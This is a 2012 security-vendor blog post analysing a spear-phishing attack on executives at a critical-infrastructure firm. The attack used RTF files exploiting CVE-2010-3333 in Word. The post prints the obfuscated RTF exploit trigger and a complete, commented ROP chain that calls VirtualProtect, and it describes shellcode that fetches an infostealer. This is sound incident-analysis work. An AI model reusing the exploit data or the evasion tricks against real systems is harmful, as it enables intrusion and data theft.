Analysis of a Targeted Attack on a Critical-Infrastructure Company Using CVE-2010-3333
By Gal Badishi | November 28, 2012
Earlier this year, one of our clients, a critical-infrastructure company, was the subject of a targeted attack. Following some information gathering emails, 2 emails containing a different malicious RTF file were sent to the company’s CEO and to one of the company’s leading executives. The emails were supposedly about corruption in the company, and their contents included specific names and titles of the company’s executives. The RTF files contained an exploit for CVE-2010-3333, tailored for the recipient’s computer system. Unfortunately, no anti-virus detected the files as having malicious content, partly because they were obfuscated. Luckily, Cyvera TRAPS was installed on the executives’ computers and stopped the exploit from succeeding (as TRAPS is not signature-based), while alerting the local CISO. As it is now allowed to publish the attack and its details, we hereby present the obfuscation and exploitation techniques used in the attack.
One of the RTF files targeted Word 2010 on Windows 7. As detailed in our analysis of CVE-2010-3333, the ROP payload needs some time before it can be used, as it can only use msgr3en.dll, and it takes time for Word to load it. Consequently, the malicious RTF file contained nothing but than hundreds of blank pages with the exploit code on the last page, to allow Word 2010 to have ample time to load msgr3en.dll.
Let’s take a look at some of the exploitation code, just before the ROP payload, and then dissect it (compare with our vulnerability analysis):
1 |
{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\#shp{\*\shpinst\shpfhdr0\#shpbxcolumn\shpbypara\sh pwr2}{\sp{{\sn {}{}{\sn}{\sn}{{\*\*}}pFragments}{\*\*\*}{#\sv{\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff#####################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################050000A000000000000000000000000000000000001780203f1111111111111111111111111111111100000000 |
We see that the exploit starts with some obfuscations, meant to thwart signature-based analyses who look for the \shp construct:
1 |
{\shp{\sp}}{\shp{\sp}}{\shp{\sp}} |
Now the real \shp used in the attack appears, but again, with some obfuscations, both to hide the \shp itself, and to hide the fact that it’s going to be followed by the pFragments property:
1 |
{\#shp{\*\shpinst\shpfhdr0\#shpbxcolumn\shpbypara\sh pwr2} |
Following that is the \sp construct, which, for the exploitation to work, should be followed by a “{\sn pFragments}” property. Notice how the attacker again tries to evade parsers that use regular expressions to detect an exploit:
1 |
{\sp{{\sn {}{}{\sn}{\sn}{{\*\*}}pFragments} |
And the same thing is true for the \sv construct, which must come after the pFragments property, and should hold the array used to perform the exploit:
1 |
{\*\*\*}{#\sv{\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff |
And as if that wasn’t enough, the data array itself is obfuscated (as much as it can be), by placing a string of pound signs in it. This string just gets discarded by the RTF array decoder, so we get that the array (pre-ROP payload) looks like this:
1 |
ffffffffff050000A000000000000000000000000000000000001780203f1111111111111111111111111111111100000000 |
This is the exact same exploitation scheme used in our analysis of the vulnerability. We can see the zeros at the end, allowing for a fast return to the overwritten instruction pointer, which holds the address 0x3f208017 – a ROP-NOP in msgr3en.dll. As we have already described, what follows is the ROP payload. Let’s take a look at it now:
We can definitely see at the end a bunch of NOPs (they’re followed by more NOPS and the shellcode), so we can expect a VirtualProtect/jmp esp combo. Here’s the ROP payload in action:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 |
3F208017 RETN
3F208017 RETN
3F208017 RETN
3F208017 RETN
3F208017 RETN
3F394685 PUSH ESP
XOR EAX,EAX
POP EDI ; mov edi,sesp
POP ESI
RETN
41414141 ; <<< sesp points here
3F39FC28 MOV EAX,EDI ; mov eax,edi ==> eax = sesp
POP ESI
RETN
41414141
3F3513A0 ADD ESP,20 ; go to edx = sesp (leave room for VP args)
RETN 4
41414141
41414141
3F205A82 JMP ECX ; will get us to VirtualProtect
41414141 ; ret address (overwritten with sesp + 0x140 - shellcode)
42424242 ; addr for VP (overwritten later sesp + 0x140 - shellcode)
000005DC ; size
00000040 ; protection (PAGE_EXECUTE_READWRITE)
3F3B1310 ; address for old protection (data section)
3F2EF6BF XCHG EAX,EDX ; edx = sesp
RETN
41414141
3F34588C MOV EAX,EDX ; eax = sesp
RETN
3F3094EF XCHG EAX,ESI ; esi = sesp
RETN
3F34588C MOV EAX,EDX ; eax, edx, edi, esi = sesp
RETN
3F3982F7 ADD EAX,100 ; eax = sesp + 0x100
POP EBP
RETN
41414141
3F3982E9 ADD EAX,40 ; eax = sesp + 0x140
POP EBP
RETN
41414141
3F2CA08A INC ESI ; esi = sesp + 1
RETN
3F2CA08A INC ESI ; esi = sesp + 2
RETN
3F2CA08A INC ESI ; esi = sesp + 3
RETN
3F2CA08A INC ESI ; esi = sesp + 4
RETN
3F369711 MOV DWORD PTR DS:[ESI+18],EAX ; [sesp+0x1c] = sesp + 0x140
POP EDI
POP ESI
RETN 4
41414141
41414141
3F34588C MOV EAX,EDX ; eax = sesp
RETN
41414141
3F3094EF XCHG EAX,ESI ; esi = sesp
RETN
3F34588C MOV EAX,EDX ; eax = sesp
RETN
3F3982F7 ADD EAX,100 ; eax = sesp + 0x100
POP EBP
RETN
41414141
3F3982E9 ADD EAX,40 ; eax = sesp + 0x40
POP EBP
RETN
41414141
3F2CA08A INC ESI ; esi = sesp + 1
RETN
3F2CA08A INC ESI ; esi = sesp + 2
RETN
3F2CA08A INC ESI ; esi = sesp + 3
RETN
3F2CA08A INC ESI ; esi = sesp + 4
RETN
3F2CA08A INC ESI ; esi = sesp + 5
RETN
3F2CA08A INC ESI ; esi = sesp + 6
RETN
3F2CA08A INC ESI ; esi = sesp + 7
RETN
3F2CA08A INC ESI ; esi = sesp + 8
RETN
3F369711 MOV DWORD PTR DS:[ESI+18],EAX ; [sesp+0x1c] = sesp + 0x140
POP EDI
POP ESI
RETN 4
41414141
41414141
3F34588C MOV EAX,EDX ; eax = sesp
RETN
41414141
3F2FED4C POP EAX ; eax = VirtualProtect IAT
RETN
3F101108 ; VirtualProtect() IAT = 3F101108
3F2B745E MOV ECX,DWORD PTR DS:[EAX] ; ecx = VirtualProtect
RETN
3F34588C MOV EAX,EDX ; eax = sesp
RETN
3F39D730 ADD EAX,8 ; eax = sesp + 8
RETN
3F39D730 ADD EAX,8 ; eax = sesp + 0x10
RETN
3F39D730 ADD EAX,8 ; eax = sesp + 0x18
RETN
3F2FDA08 XCHG EAX,ESP ; stack pivot: esp = sesp + 0x18 (jmp ecx before)
RETN |
We can see that even the ROP payload is manually-crafted and obfuscated. It does use VirtualProtect to set execution permissions on the stack, and then runs the shellcode. The shellcode itself downloads a self-extracting RAR named ctfmon.exe, which has a WinWord icon. The RAR file contains 2 executable files, smsse.exe and jre.exe, which are digitally signed, with a valid certificate chain rooted at VeriSign. The malware contains an infostealer and a client that connects to a remote C&C server.
This targeted attack was not detected at that time by any anti-virus in VirusTotal’s list. Partly because of the obfuscation mechanisms used, and partly because they just miss this exploit (see remarks at the end of our CVE-2010-3333 analysis). Although the company’s executives had an anti-virus with up-to-date signatures installed on their computers as part of the company’s security policy, it was not able to protect them from this exploit. On the other hand, Cvera TRAPS prevented the exploitation attempt by blocking the critical paths the attacker had to use in order to successfully exploit the vulnerability.
Lesson learned.